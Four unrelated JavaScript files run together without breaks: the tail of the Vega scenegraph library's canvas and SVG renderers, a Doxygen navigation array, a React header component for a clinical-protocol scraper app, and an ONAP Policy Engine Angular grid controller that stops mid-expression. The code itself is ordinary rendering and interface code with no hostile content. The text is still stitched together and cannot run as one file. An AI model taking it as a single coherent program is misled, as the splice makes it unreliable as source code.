return typeof window !== 'undefined' ? window.devicePixelRatio || 1 : 1; } var pixelRatio = devicePixelRatio(); function resize(canvas, width, height, origin, scaleFactor) { var inDOM = typeof HTMLElement !== 'undefined' && canvas instanceof HTMLElement && canvas.parentNode != null; var context = canvas.getContext('2d'), ratio = inDOM ? pixelRatio : scaleFactor; canvas.width = width * ratio; canvas.height = height * ratio; if (inDOM && ratio !== 1) { canvas.style.width = width + 'px'; canvas.style.height = height + 'px'; } context.pixelRatio = ratio; context.setTransform( ratio, 0, 0, ratio, ratio * origin[0], ratio * origin[1] ); return canvas; } function CanvasRenderer(loader) { Renderer.call(this, loader); this._redraw = false; this._dirty = new Bounds(); } var prototype$6 = vegaUtil.inherits(CanvasRenderer, Renderer), base = Renderer.prototype, tempBounds$1 = new Bounds(); prototype$6.initialize = function(el, width, height, origin, scaleFactor) { this._canvas = vegaCanvas.canvas(1, 1); // instantiate a small canvas if (el) { domClear(el, 0).appendChild(this._canvas); this._canvas.setAttribute('class', 'marks'); } // this method will invoke resize to size the canvas appropriately return base.initialize.call(this, el, width, height, origin, scaleFactor); }; prototype$6.resize = function(width, height, origin, scaleFactor) { base.resize.call(this, width, height, origin, scaleFactor); resize(this._canvas, this._width, this._height, this._origin, this._scale); this._redraw = true; return this; }; prototype$6.canvas = function() { return this._canvas; }; prototype$6.context = function() { return this._canvas ? this._canvas.getContext('2d') : null; }; prototype$6.dirty = function(item) { var b = translate$1(item.bounds, item.mark.group); this._dirty.union(b); }; function clipToBounds(g, b, origin) { // expand bounds by 1 pixel, then round to pixel boundaries b.expand(1).round(); // to avoid artifacts translate if origin has fractional pixels b.translate(-(origin[0] % 1), -(origin[1] % 1)); // set clipping path g.beginPath(); g.rect(b.x1, b.y1, b.width(), b.height()); g.clip(); return b; } function translate$1(bounds, group) { if (group == null) return bounds; var b = tempBounds$1.clear().union(bounds); for (; group != null; group = group.mark.group) { b.translate(group.x || 0, group.y || 0); } return b; } prototype$6._render = function(scene) { var g = this.context(), o = this._origin, w = this._width, h = this._height, b = this._dirty; // setup g.save(); if (this._redraw || b.empty()) { this._redraw = false; b = null; } else { b = clipToBounds(g, b, o); } this.clear(-o[0], -o[1], w, h); // render this.draw(g, scene, b); // takedown g.restore(); this._dirty.clear(); return this; }; prototype$6.draw = function(ctx, scene, bounds) { var mark = marks[scene.marktype]; if (scene.clip) clip$1(ctx, scene); mark.draw.call(this, ctx, scene, bounds); if (scene.clip) ctx.restore(); }; prototype$6.clear = function(x, y, w, h) { var g = this.context(); g.clearRect(x, y, w, h); if (this._bgcolor != null) { g.fillStyle = this._bgcolor; g.fillRect(x, y, w, h); } }; function SVGHandler(loader, tooltip) { Handler.call(this, loader, tooltip); var h = this; h._hrefHandler = listener(h, function(evt, item) { if (item && item.href) h.handleHref(evt, item, item.href); }); h._tooltipHandler = listener(h, function(evt, item) { h.handleTooltip(evt, item, evt.type !== TooltipHideEvent); }); } var prototype$7 = vegaUtil.inherits(SVGHandler, Handler); prototype$7.initialize = function(el, origin, obj) { var svg = this._svg; if (svg) { svg.removeEventListener(HrefEvent, this._hrefHandler); svg.removeEventListener(TooltipShowEvent, this._tooltipHandler); svg.removeEventListener(TooltipHideEvent, this._tooltipHandler); } this._svg = svg = el && domFind(el, 'svg'); if (svg) { svg.addEventListener(HrefEvent, this._hrefHandler); svg.addEventListener(TooltipShowEvent, this._tooltipHandler); svg.addEventListener(TooltipHideEvent, this._tooltipHandler); } return Handler.prototype.initialize.call(this, el, origin, obj); }; prototype$7.canvas = function() { return this._svg; }; // wrap an event listener for the SVG DOM function listener(context, handler) { return function(evt) { var target = evt.target, item = target.__data__; evt.vegaType = evt.type; item = Array.isArray(item) ? item[0] : item; handler.call(context._obj, evt, item); }; } // add an event handler prototype$7.on = function(type, handler) { var name = this.eventName(type), h = this._handlers, i = this._handlerIndex(h[name], type, handler); if (i < 0) { var x = { type: type, handler: handler, listener: listener(this, handler) }; (h[name] || (h[name] = [])).push(x); if (this._svg) { this._svg.addEventListener(name, x.listener); } } return this; }; // remove an event handler prototype$7.off = function(type, handler) { var name = this.eventName(type), h = this._handlers[name], i = this._handlerIndex(h, type, handler); if (i >= 0) { if (this._svg) { this._svg.removeEventListener(name, h[i].listener); } h.splice(i, 1); } return this; }; // generate string for an opening xml tag // tag: the name of the xml tag // attr: hash of attribute name-value pairs to include // raw: additional raw string to include in tag markup function openTag(tag, attr, raw) { var s = '<' + tag, key, val; if (attr) { for (key in attr) { val = attr[key]; if (val != null) { s += ' ' + key + '="' + val + '"'; } } } if (raw) s += ' ' + raw; return s + '>'; } // generate string for closing xml tag // tag: the name of the xml tag function closeTag(tag) { return '</' + tag + '>'; } var metadata = { 'version': '1.1', 'xmlns': 'http://www.w3.org/2000/svg', 'xmlns:xlink': 'http://www.w3.org/1999/xlink' }; var styles = { 'fill': 'fill', 'fillOpacity': 'fill-opacity', 'stroke': 'stroke', 'strokeOpacity': 'stroke-opacity', 'strokeWidth': 'stroke-width', 'strokeCap': 'stroke-linecap', 'strokeJoin': 'stroke-linejoin', 'strokeDash': 'stroke-dasharray', 'strokeDashOffset': 'stroke-dashoffset', 'strokeMiterLimit': 'stroke-miterlimit', 'opacity': 'opacity' }; var styleProperties = Object.keys(styles); var ns = metadata.xmlns; function SVGRenderer(loader) { Renderer.call(this, loader); this._dirtyID = 1; this._dirty = []; this._svg = null; this._root = null; this._defs = null; } var prototype$8 = vegaUtil.inherits(SVGRenderer, Renderer); var base$1 = Renderer.prototype; prototype$8.initialize = function(el, width, height, padding) { if (el) { this._svg = domChild(el, 0, 'svg', ns); this._svg.setAttribute('class', 'marks'); domClear(el, 1); // set the svg root group this._root = domChild(this._svg, 0, 'g', ns); domClear(this._svg, 1); } // create the svg definitions cache this._defs = { gradient: {}, clipping: {} }; // set background color if defined this.background(this._bgcolor); return base$1.initialize.call(this, el, width, height, padding); }; prototype$8.background = function(bgcolor) { if (arguments.length && this._svg) { this._svg.style.setProperty('background-color', bgcolor); } return base$1.background.apply(this, arguments); }; prototype$8.resize = function(width, height, origin, scaleFactor) { base$1.resize.call(this, width, height, origin, scaleFactor); if (this._svg) { this._svg.setAttribute('width', this._width * this._scale); this._svg.setAttribute('height', this._height * this._scale); this._svg.setAttribute('viewBox', '0 0 ' + this._width + ' ' + this._height); this._root.setAttribute('transform', 'translate(' + this._origin + ')'); } this._dirty = []; return this; }; prototype$8.canvas = function() { return this._svg; }; prototype$8.svg = function() { if (!this._svg) return null; var attr = { class: 'marks', width: this._width * this._scale, height: this._height * this._scale, viewBox: '0 0 ' + this._width + ' ' + this._height }; for (var key in metadata) { attr[key] = metadata[key]; } var bg = !this._bgcolor ? '' : (openTag('rect', { width: this._width, height: this._height, style: 'fill: ' + this._bgcolor + ';' }) + closeTag('rect')); return openTag('svg', attr) + bg + this._svg.innerHTML + closeTag('svg'); }; // -- Render entry point -- prototype$8._render = function(scene) { // perform spot updates and re-render markup if (this._dirtyCheck()) { if (this._dirtyAll) this._resetDefs(); this.draw(this._root, scene); domClear(this._root, 1); } this.updateDefs(); this._dirty = []; ++this._dirtyID; return this; }; // -- Manage SVG definitions ('defs') block -- prototype$8.updateDefs = function() { var svg = this._svg, defs = this._defs, el = defs.el, index = 0, id; for (id in defs.gradient) { if (!el) defs.el = (el = domChild(svg, 0, 'defs', ns)); updateGradient(el, defs.gradient[id], index++); } for (id in defs.clipping) { if (!el) defs.el = (el = domChild(svg, 0, 'defs', ns)); updateClipping(el, defs.clipping[id], index++); } // clean-up if (el) { if (index === 0) { svg.removeChild(el); defs.el = null; } else { domClear(el, index); } } }; function updateGradient(el, grad, index) { var i, n, stop; el = domChild(el, index, 'linearGradient', ns); el.setAttribute('id', grad.id); el.setAttribute('x1', grad.x1); el.setAttribute('x2', grad.x2); el.setAttribute('y1', grad.y1); el.setAttribute('y2', grad.y2); for (i=0, n=grad.stops.length; i<n; ++i) { stop = domChild(el, i, 'stop', ns); stop.setAttribute('offset', grad.stops[i].offset); stop.setAttribute('stop-color', grad.stops[i].color); } domClear(el, i); } function updateClipping(el, clip$$1, index) { var mask; el = domChild(el, index, 'clipPath', ns); el.setAttribute('id', clip$$1.id); if (clip$$1.path) { mask = domChild(el, 0, 'path', ns); mask.setAttribute('d', clip$$1.path); } else { mask = domChild(el, 0, 'rect', ns); mask.setAttribute('x', 0); mask.setAttribute('y', 0); mask.setAttribute('width', clip$$1.width); mask.setAttribute('height', clip$$1.height); } } prototype$8._resetDefs = function() { var def = this._defs; def.gradient = {}; def.clipping = {}; }; // -- Manage rendering of items marked as dirty -- prototype$8.dirty = function(item) { if (item.dirty !== this._dirtyID) { item.dirty = this._dirtyID; this._dirty.push(item); } }; prototype$8.isDirty = function(item) { return this._dirtyAll || !item._svg || item.dirty === this._dirtyID; }; prototype$8._dirtyCheck = function() { this._dirtyAll = true; var items = this._dirty; if (!items.length) return true; var id = ++this._dirtyID, item, mark, type, mdef, i, n, o; for (i=0, n=items.length; i<n; ++i) { item = items[i]; mark = item.mark; if (mark.marktype !== type) { // memoize mark instance lookup type = mark.marktype; mdef = marks[type]; } if (mark.zdirty && mark.dirty !== id) { this._dirtyAll = false; dirtyParents(item, id); mark.items.forEach(function(i) { i.dirty = id; }); } if (mark.zdirty) continue; // handle in standard drawing pass if (item.exit) { // EXIT if (mdef.nested && mark.items.length) { // if nested mark with remaining points, update instead o = mark.items[0]; if (o._svg) this._update(mdef, o._svg, o); } else if (item._svg) { // otherwise remove from DOM o = item._svg.parentNode; if (o) o.removeChild(item._svg); } item._svg = null; continue; } item = (mdef.nested ? mark.items[0] : item); if (item._update === id) continue; // already visited if (!item._svg || !item._svg.ownerSVGElement) { // ENTER this._dirtyAll = false; dirtyParents(item, id); } else { // IN-PLACE UPDATE this._update(mdef, item._svg, item); } item._update = id; } return !this._dirtyAll; }; function dirtyParents(item, id) { for (; item && item.dirty !== id; item=item.mark.group) { item.dirty = id; if (item.mark && item.mark.dirty !== id) { item.mark.dirty = id; } else return; } } // -- Construct & maintain scenegraph to SVG mapping --- // Draw a mark container. prototype$8.draw = function(el, scene, prev) { if (!this.isDirty(scene)) return scene._svg; var renderer = this, svg = this._svg, mdef = marks[scene.marktype], events = scene.interactive === false ? 'none' : null, isGroup = mdef.tag === 'g', sibling = null, i = 0, parent; parent = bind(scene, el, prev, 'g', svg); parent.setAttribute('class', cssClass(scene)); if (!isGroup) { parent.style.setProperty('pointer-events', events); } if (scene.clip) { parent.setAttribute('clip-path', clip(renderer, scene, scene.group)); } else { parent.removeAttribute('clip-path'); } function process(item) { var dirty = renderer.isDirty(item), node = bind(item, parent, sibling, mdef.tag, svg); if (dirty) { renderer._update(mdef, node, item); if (isGroup) recurse(renderer, node, item); } sibling = node; ++i; } if (mdef.nested) { if (scene.items.length) process(scene.items[0]); } else { visit(scene, process); } domClear(parent, i); return parent; }; // Recursively process group contents. function recurse(renderer, el, group) { el = el.lastChild; var prev, idx = 0; visit(group, function(item) { prev = renderer.draw(el, item, prev); ++idx; }); // remove any extraneous DOM elements domClear(el, 1 + idx); } // Bind a scenegraph item to an SVG DOM element. // Create new SVG elements as needed. function bind(item, el, sibling, tag, svg) { var node = item._svg, doc; // create a new dom node if needed if (!node) { doc = el.ownerDocument; node = domCreate(doc, tag, ns); item._svg = node; if (item.mark) { node.__data__ = item; node.__values__ = {fill: 'default'}; // if group, create background and foreground elements if (tag === 'g') { var bg = domCreate(doc, 'path', ns); bg.setAttribute('class', 'background'); node.appendChild(bg); bg.__data__ = item; var fg = domCreate(doc, 'g', ns); node.appendChild(fg); fg.__data__ = item; } } } // (re-)insert if (a) not contained in SVG or (b) sibling order has changed if (node.ownerSVGElement !== svg || hasSiblings(item) && node.previousSibling !== sibling) { el.insertBefore(node, sibling ? sibling.nextSibling : el.firstChild); } return node; } function hasSiblings(item) { var parent = item.mark || item.group; return parent && parent.items.length > 1; } // -- Set attributes & styles on SVG elements --- var element = null, // temp var for current SVG element values = null; // temp var for current values hash // Extra configuration for certain mark types var mark_extras = { group: function(mdef, el, item) { values = el.__values__; // use parent's values hash element = el.childNodes[1]; mdef.foreground(emit, item, this); element = el.childNodes[0]; mdef.background(emit, item, this); var value = item.mark.interactive === false ? 'none' : null; if (value !== values.events) { element.style.setProperty('pointer-events', value); values.events = value; } }, text: function(mdef, el, item) { var value; value = textValue(item); if (value !== values.text) { el.textContent = value; values.text = value; } setStyle(el, 'font-family', fontFamily(item)); setStyle(el, 'font-size', fontSize(item) + 'px'); setStyle(el, 'font-style', item.fontStyle); setStyle(el, 'font-variant', item.fontVariant); setStyle(el, 'font-weight', item.fontWeight); } }; function setStyle(el, name, value) { if (value !== values[name]) { if (value == null) { el.style.removeProperty(name); } else { el.style.setProperty(name, value + ''); } values[name] = value; } } prototype$8._update = function(mdef, el, item) { // set dom element and values cache // provides access to emit method element = el; values = el.__values__; // apply svg attributes mdef.attr(emit, item, this); // some marks need special treatment var extra = mark_extras[mdef.type]; if (extra) extra.call(this, mdef, el, item); // apply svg css styles // note: element may be modified by 'extra' method this.style(element, item); }; function emit(name, value, ns) { // early exit if value is unchanged if (value === values[name]) return; if (value != null) { // if value is provided, update DOM attribute if (ns) { element.setAttributeNS(ns, name, value); } else { element.setAttribute(name, value); } } else { // else remove DOM attribute if (ns) { element.removeAttributeNS(ns, name); } else { element.removeAttribute(name); } } // note current value for future comparison values[name] = value; } prototype$8.style = function(el, o) { if (o == null) return; var i, n, prop, name, value; for (i=0, n=styleProperties.length; i<n; ++i) { prop = styleProperties[i]; value = o[prop]; if (prop === 'font') { value = fontFamily(o); } if (value === values[prop]) continue; name = styles[prop]; if (value == null) { if (name === 'fill') { el.style.setProperty(name, 'none'); } else { el.style.removeProperty(name); } } else { if (value.id) { // ensure definition is included this._defs.gradient[value.id] = value; value = 'url(' + href() + '#' + value.id + ')'; } el.style.setProperty(name, value + ''); } values[prop] = value; } }; function href() { var loc; return typeof window === 'undefined' ? '' : (loc = window.location).hash ? loc.href.slice(0, -loc.hash.length) : loc.href; } function SVGStringRenderer(loader) { Renderer.call(this, loader); this._text = { head: '', bg: '', root: '', foot: '', defs: '', body: '' }; this._defs = { gradient: {}, clipping: {} }; } var prototype$9 = vegaUtil.inherits(SVGStringRenderer, Renderer); var base$2 = Renderer.prototype; prototype$9.resize = function(width, height, origin, scaleFactor) { base$2.resize.call(this, width, height, origin, scaleFactor); var o = this._origin, t = this._text; var attr = { class: 'marks', width: this._width * this._scale, height: this._height * this._scale, viewBox: '0 0 ' + this._width + ' ' + this._height }; for (var key in metadata) { attr[key] = metadata[key]; } t.head = openTag('svg', attr); var bg = this._bgcolor; if (bg === 'transparent' || bg === 'none') bg = null; if (bg) { t.bg = openTag('rect', { width: this._width, height: this._height, style: 'fill: ' + bg + ';' }) + closeTag('rect'); } else { t.bg = ''; } t.root = openTag('g', { transform: 'translate(' + o + ')' }); t.foot = closeTag('g') + closeTag('svg'); return this; }; prototype$9.background = function() { var rv = base$2.background.apply(this, arguments); if (arguments.length && this._text.head) { this.resize(this._width, this._height, this._origin, this._scale); } return rv; }; prototype$9.svg = function() { var t = this._text; return t.head + t.bg + t.defs + t.root + t.body + t.foot; }; prototype$9._render = function(scene) { this._text.body = this.mark(scene); this._text.defs = this.buildDefs(); return this; }; prototype$9.buildDefs = function() { var all = this._defs, defs = '', i, id, def, stops; for (id in all.gradient) { def = all.gradient[id]; stops = def.stops; defs += openTag('linearGradient', { id: id, x1: def.x1, x2: def.x2, y1: def.y1, y2: def.y2 }); for (i=0; i<stops.length; ++i) { defs += openTag('stop', { offset: stops[i].offset, 'stop-color': stops[i].color }) + closeTag('stop'); } defs += closeTag('linearGradient'); } for (id in all.clipping) { def = all.clipping[id]; defs += openTag('clipPath', {id: id}); if (def.path) { defs += openTag('path', { d: def.path }) + closeTag('path'); } else { defs += openTag('rect', { x: 0, y: 0, width: def.width, height: def.height }) + closeTag('rect'); } defs += closeTag('clipPath'); } return (defs.length > 0) ? openTag('defs') + defs + closeTag('defs') : ''; }; var object; function emit$1(name, value, ns, prefixed) { object[prefixed || name] = value; } prototype$9.attributes = function(attr, item) { object = {}; attr(emit$1, item, this); return object; }; prototype$9.href = function(item) { var that = this, href = item.href, attr; if (href) { if (attr = that._hrefs && that._hrefs[href]) { return attr; } else { that.sanitizeURL(href).then(function(attr) { // rewrite to use xlink namespace // note that this will be deprecated in SVG 2.0 attr['xlink:href'] = attr.href; attr.href = null; (that._hrefs || (that._hrefs = {}))[href] = attr; }); } } return null; }; prototype$9.mark = function(scene) { var renderer = this, mdef = marks[scene.marktype], tag = mdef.tag, defs = this._defs, str = '', style; if (tag !== 'g' && scene.interactive === false) { style = 'style="pointer-events: none;"'; } // render opening group tag str += openTag('g', { 'class': cssClass(scene), 'clip-path': scene.clip ? clip(renderer, scene, scene.group) : null }, style); // render contained elements function process(item) { var href = renderer.href(item); if (href) str += openTag('a', href); style = (tag !== 'g') ? applyStyles(item, scene, tag, defs) : null; str += openTag(tag, renderer.attributes(mdef.attr, item), style); if (tag === 'text') { str += escape_text(textValue(item)); } else if (tag === 'g') { str += openTag('path', renderer.attributes(mdef.background, item), applyStyles(item, scene, 'bgrect', defs)) + closeTag('path'); str += openTag('g', renderer.attributes(mdef.foreground, item)) + renderer.markGroup(item) + closeTag('g'); } str += closeTag(tag); if (href) str += closeTag('a'); } if (mdef.nested) { if (scene.items && scene.items.length) process(scene.items[0]); } else { visit(scene, process); } // render closing group tag return str + closeTag('g'); }; prototype$9.markGroup = function(scene) { var renderer = this, str = ''; visit(scene, function(item) { str += renderer.mark(item); }); return str; }; function applyStyles(o, mark, tag, defs) { if (o == null) return ''; var i, n, prop, name, value, s = ''; if (tag === 'bgrect' && mark.interactive === false) { s += 'pointer-events: none; '; } if (tag === 'text') { s += 'font-family: ' + fontFamily(o) + '; '; s += 'font-size: ' + fontSize(o) + 'px; '; if (o.fontStyle) s += 'font-style: ' + o.fontStyle + '; '; if (o.fontVariant) s += 'font-variant: ' + o.fontVariant + '; '; if (o.fontWeight) s += 'font-weight: ' + o.fontWeight + '; '; } for (i=0, n=styleProperties.length; i<n; ++i) { prop = styleProperties[i]; name = styles[prop]; value = o[prop]; if (value == null) { if (name === 'fill') { s += 'fill: none; '; } } else if (value === 'transparent' && (name === 'fill' || name === 'stroke')) { // transparent is not a legal SVG value, so map to none instead s += name + ': none; '; } else { if (value.id) { // ensure definition is included defs.gradient[value.id] = value; value = 'url(#' + value.id + ')'; } s += name + ': ' + value + '; '; } } return s ? 'style="' + s.trim() + '"' : null; } function escape_text(s) { return s.replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;'); } var Canvas = 'canvas'; var PNG = 'png'; var SVG = 'svg'; var None = 'none'; var RenderType = { Canvas: Canvas, PNG: PNG, SVG: SVG, None: None }; var modules = {}; modules[Canvas] = modules[PNG] = { renderer: CanvasRenderer, headless: CanvasRenderer, handler: CanvasHandler }; modules[SVG] = { renderer: SVGRenderer, headless: SVGStringRenderer, handler: SVGHandler }; modules[None] = {}; function renderModule(name, _) { name = String(name || '').toLowerCase(); if (arguments.length > 1) { modules[name] = _; return this; } else { return modules[name]; } } var clipBounds = new Bounds(); function boundClip(mark) { var clip = mark.clip; if (vegaUtil.isFunction(clip)) { clip(context(clipBounds.clear())); } else if (clip) { clipBounds.set(0, 0, mark.group.width, mark.group.height); } else return; mark.bounds.intersect(clipBounds); } var TOLERANCE = 1e-9; function sceneEqual(a, b, key) { return (a === b) ? true : (key === 'path') ? pathEqual(a, b) : (a instanceof Date && b instanceof Date) ? +a === +b : (vegaUtil.isNumber(a) && vegaUtil.isNumber(b)) ? Math.abs(a - b) <= TOLERANCE : (!a || !b || !vegaUtil.isObject(a) && !vegaUtil.isObject(b)) ? a == b : (a == null || b == null) ? false : objectEqual(a, b); } function pathEqual(a, b) { return sceneEqual(pathParse(a), pathParse(b)); } function objectEqual(a, b) { var ka = Object.keys(a), kb = Object.keys(b), key, i; if (ka.length !== kb.length) return false; ka.sort(); kb.sort(); for (i = ka.length - 1; i >= 0; i--) { if (ka[i] != kb[i]) return false; } for (i = ka.length - 1; i >= 0; i--) { key = ka[i]; if (!sceneEqual(a[key], b[key], key)) return false; } return typeof a === typeof b; } exports.Bounds = Bounds; exports.Gradient = Gradient; exports.GroupItem = GroupItem; exports.ResourceLoader = ResourceLoader; exports.Item = Item; exports.Scenegraph = Scenegraph; exports.Handler = Handler; exports.Renderer = Renderer; exports.CanvasHandler = CanvasHandler; exports.CanvasRenderer = CanvasRenderer; exports.SVGHandler = SVGHandler; exports.SVGRenderer = SVGRenderer; exports.SVGStringRenderer = SVGStringRenderer; exports.RenderType = RenderType; exports.renderModule = renderModule; exports.Marks = marks; exports.boundClip = boundClip; exports.boundContext = context; exports.boundStroke = boundStroke; exports.boundItem = boundItem; exports.boundMark = boundMark; exports.pathCurves = curves; exports.pathSymbols = symbols; exports.pathRectangle = vg_rect; exports.pathTrail = vg_trail; exports.pathParse = pathParse; exports.pathRender = pathRender; exports.point = point; exports.domCreate = domCreate; exports.domFind = domFind; exports.domChild = domChild; exports.domClear = domClear; exports.openTag = openTag; exports.closeTag = closeTag; exports.font = font; exports.fontFamily = fontFamily; exports.fontSize = fontSize; exports.textMetrics = textMetrics; exports.resetSVGClipId = resetSVGClipId; exports.sceneEqual = sceneEqual; exports.pathEqual = pathEqual; exports.sceneToJSON = sceneToJSON; exports.sceneFromJSON = sceneFromJSON; exports.sceneZOrder = zorder; exports.sceneVisit = visit; exports.scenePickVisit = pickVisit; Object.defineProperty(exports, '__esModule', { value: true }); })));
var interface_core_manager_1_1_interface_1_1_i_deep_clone = [ [ "DeepClone", "dd/d2b/interface_core_manager_1_1_interface_1_1_i_deep_clone.html#a5de5971b3b778091ee2bf869d81fb4da", null ], [ "DeepClone", "dd/d2b/interface_core_manager_1_1_interface_1_1_i_deep_clone.html#afb1272b8b4f58c1751d99de0bcc14b40", null ] ];
import React, { Component } from 'react'; import { browserHistory } from 'react-router'; import { connect } from 'react-redux'; import { bindActionCreators } from 'redux'; import { withStyles } from 'material-ui/styles'; import classNames from 'classnames'; import Button from 'material-ui/Button'; import Icon from 'material-ui/Icon'; import AppBar from 'material-ui/AppBar'; import Toolbar from 'material-ui/Toolbar'; import List from 'material-ui/List'; import Typography from 'material-ui/Typography'; import Divider from 'material-ui/Divider'; import IconButton from 'material-ui/IconButton'; import AccountCircle from 'material-ui-icons/AccountCircle'; import MenuIcon from 'material-ui-icons/Menu'; import ChevronLeftIcon from 'material-ui-icons/ChevronLeft'; import ChevronRightIcon from 'material-ui-icons/ChevronRight'; import FileUploadIcon from 'material-ui-icons/FileUpload'; import SvgIcon from 'material-ui/SvgIcon'; import LoaderView from '../Loader'; import { logoutAndRedirect } from '../../actions/auth'; import { openMenu, closeMenu, exportProtocolToXML } from '../../actions/data'; import { drawerWidth } from '../../constants/index'; const actionCreators = { logoutAndRedirect, openMenu, closeMenu, exportProtocolToXML }; const HomeIcon = props => ( <SvgIcon {...props}> <path d="M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z" /> </SvgIcon> ); const styles = theme => ({ root: { width: '100%', height: 430, marginTop: theme.spacing.unit * 3, zIndex: 1, overflow: 'hidden', }, appFrame: { position: 'relative', display: 'flex', width: '100%', height: '100%', }, appBar: { position: 'absolute', zIndex: theme.zIndex.drawer + 1, transition: theme.transitions.create(['width', 'margin'], { easing: theme.transitions.easing.sharp, duration: theme.transitions.duration.leavingScreen, }), }, appBarShift: { marginLeft: drawerWidth, width: `calc(100% - ${drawerWidth}px)`, transition: theme.transitions.create(['width', 'margin'], { easing: theme.transitions.easing.sharp, duration: theme.transitions.duration.enteringScreen, }), }, menuButton: { marginLeft: 12, marginRight: 36, }, hide: { display: 'none', }, content: { width: '100%', flexGrow: 1, backgroundColor: theme.palette.background.default, padding: 24, height: 'calc(100% - 56px)', marginTop: 56, [theme.breakpoints.up('sm')]: { height: 'calc(100% - 64px)', marginTop: 64, }, }, header: { top: 0 }, flex: { flex: 1, }, leftIcon: { marginRight: theme.spacing.unit, }, }); function mapStateToProps(state) { let sections = []; let protocolData = null; if (state.data.protocol_metas && state.data.protocol_metas.data) { sections = [...new Set(state.data.protocol_metas.data.protocoldata.map(item => item.section))] protocolData = state.data.protocol_metas.data } let name = 'export'; if (state.data.protocol_metas && state.data.protocol_metas.name) { name = state.data.protocol_metas.name.replace(/\.[^/.]+$/, ""); } return { token: state.auth.token, isAuthenticated: state.auth.isAuthenticated, isNavMenuOpened: state.data.openedMenu, isFetchingExport: state.data.isFetchingExport, sections, protocolFile: name, protocolData, }; } function mapDispatchToProps(dispatch) { return bindActionCreators(actionCreators, dispatch); } @connect(mapStateToProps, mapDispatchToProps) class Header extends Component { constructor(props) { super(props); } dispatchNewRoute(route) { browserHistory.push(route); this.props.closeMenu(); } logout(e) { e.preventDefault(); this.props.logoutAndRedirect(); this.props.closeMenu(); } openNav(e) { this.props.openMenu(); } upload(e) { e.preventDefault(); this.props.exportProtocolToXML(this.props.protocolFile, this.props.protocolData, this.props.token); } render() { const { classes, theme } = this.props; return ( <AppBar color="primary" position="fixed" className={classNames(classes.header, classes.appBar, this.props.isNavMenuOpened && classes.appBarShift)}> <Toolbar disableGutters={!this.props.isNavMenuOpened}> {this.props.sections && this.props.sections.length ? <IconButton color="inherit" aria-label="open drawer" onClick={(e) => this.openNav(e)} className={classNames(classes.menuButton, this.props.isNavMenuOpened && classes.hide)} > <MenuIcon /> </IconButton> : <span className={classNames(classes.menuButton)}/>} <Typography variant="title" color="inherit" className={classes.flex} style={{ lineHeight: 'normal' }}> <div> <div style={{ marginTop: 10 }}>CAPS vj10.2</div> <div style={{ fontSize: 'small', fontWeight: 300 }}>Clinical protocol Scrapper</div> </div> </Typography> <div> { !this.props.isAuthenticated ? <div> <Button onClick={() => this.dispatchNewRoute('/login')} color="inherit" >Login <AccountCircle className={classes.leftIcon}/></Button> <Button onClick={() => this.dispatchNewRoute('/register')} icon={<Icon className="material-icons"></Icon>} color="inherit" >Register</Button> </div> : <div> { this.props.sections && this.props.sections.length ? <Button color="inherit" onClick={(e) => this.upload(e)}> <FileUploadIcon className={classes.leftIcon}/> Export XML </Button> : <span/> } <Button onClick={() => this.dispatchNewRoute('/')} color="inherit"> <HomeIcon className={classes.leftIcon}/> Load </Button> <Button onClick={(e) => this.logout(e)} color="inherit" ><Icon className="material-icons" />Logout</Button> <LoaderView isFetching={this.props.isFetchingExport}/> </div> } </div> </Toolbar> </AppBar> ); } } Header.propTypes = { logoutAndRedirect: React.PropTypes.func, isAuthenticated: React.PropTypes.bool, isFetchingExport: React.PropTypes.bool, protocolFile: React.PropTypes.object, userName: React.PropTypes.string, token: React.PropTypes.string, exportProtocolToXML: React.PropTypes.func, }; export default withStyles(styles, { withTheme: true })(Header);
/*- * ============LICENSE_START======================================================= * ONAP Policy Engine * ================================================================================ * Copyright (C) 2017 AT&T Intellectual Property. All rights reserved. * ================================================================================ * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ============LICENSE_END========================================================= */ app.controller('descriptiveDictGridController', function ($scope, PolicyAppService, modalService, $modal){ $( "#dialog" ).hide(); PolicyAppService.getData('getDictionary/get_DescriptiveScope').then(function (data) { var j = data; $scope.data = JSON.parse(j.data); console.log($scope.data); $scope.descriptiveScopeDictionaryDatas = JSON.parse($scope.data.descriptiveScopeDictionaryDatas); console.log($scope.descriptiveScopeDictionaryDatas); }, function (error) { console.log("failed"); }); PolicyAppService.getData('get_LockDownData').then(function(data){ var j = data; $scope.data = JSON.parse(j.data); $scope.lockdowndata = JSON.parse($scope.data.lockdowndata); if($scope.lockdowndata[0].lockdown == true){ $scope.descriptiveDictionaryGrid.columnDefs[0].visible = false; $scope.gridApi.grid.refresh(); }else{ $scope.descriptiveDictionaryGrid.columnDefs[0].visible = true; $scope.gridApi.grid.refresh(); } },function(error){ console.log("failed"); }); $scope.descriptiveDictionaryGrid = { data : 'descriptiveScopeDictionaryDatas', enableFiltering: true, exporterCsvFilename: 'SearchCriteria.csv', enableGridMenu: true, enableSelectAll: true, columnDefs: [{ field: 'id', enableFiltering: false, headerCellTemplate: '' + '<button id=\'New\' ng-click="grid.appScope.createNewDescriptiveScopeWindow()" class="btn btn-success">' + 'Create</button>', cellTemplate: '<button type="button" class="btn btn-primary" ng-click="grid.appScope.editDescriptiveScopeWindow(row.entity)"><i class="fa fa-pencil-square-o"></i></button> ' + '<button type="button" class="btn btn-danger" ng-click="grid.appScope.deleteDescriptiveScope(row.entity)" ><i class="fa fa-trash-o"></i></button> ', width: '8%' },{ field: 'scopeName', displayName : 'Descriptive Scope Name', sort: { direction: 'asc', priority: 0 }}, { field: 'search', displayName : 'Search Criteria' }, { field: 'description' }, {field: 'userCreatedBy.userName', displayName : 'Created By' }, {field: 'userModifiedBy.userName', displayName : 'Modified By'}, {field: 'createdDate',type: 'date', cellFilter: 'date:\'yyyy-MM-dd\'' }, {field: 'modifiedDate',type: 'date', cellFilter: 'date:\'yyyy-MM-dd\'' } ], exporterMenuPdf: false, exporterPdfDefaultStyle: {fontSize: 9}, exporterPdfTableStyle: {margin: [30, 30, 30, 30]}, exporterPdfTableHeaderStyle: {fontSize: 10, bold: true, italics: true, color: 'red'}, exporterPdfHeader: { text: "My Header", style: 'headerStyle' }, exporterPdfFooter: function ( currentPage, pageCount ) { return { text: currentPage.toString() + ' of ' + pageCount.toString(), style: 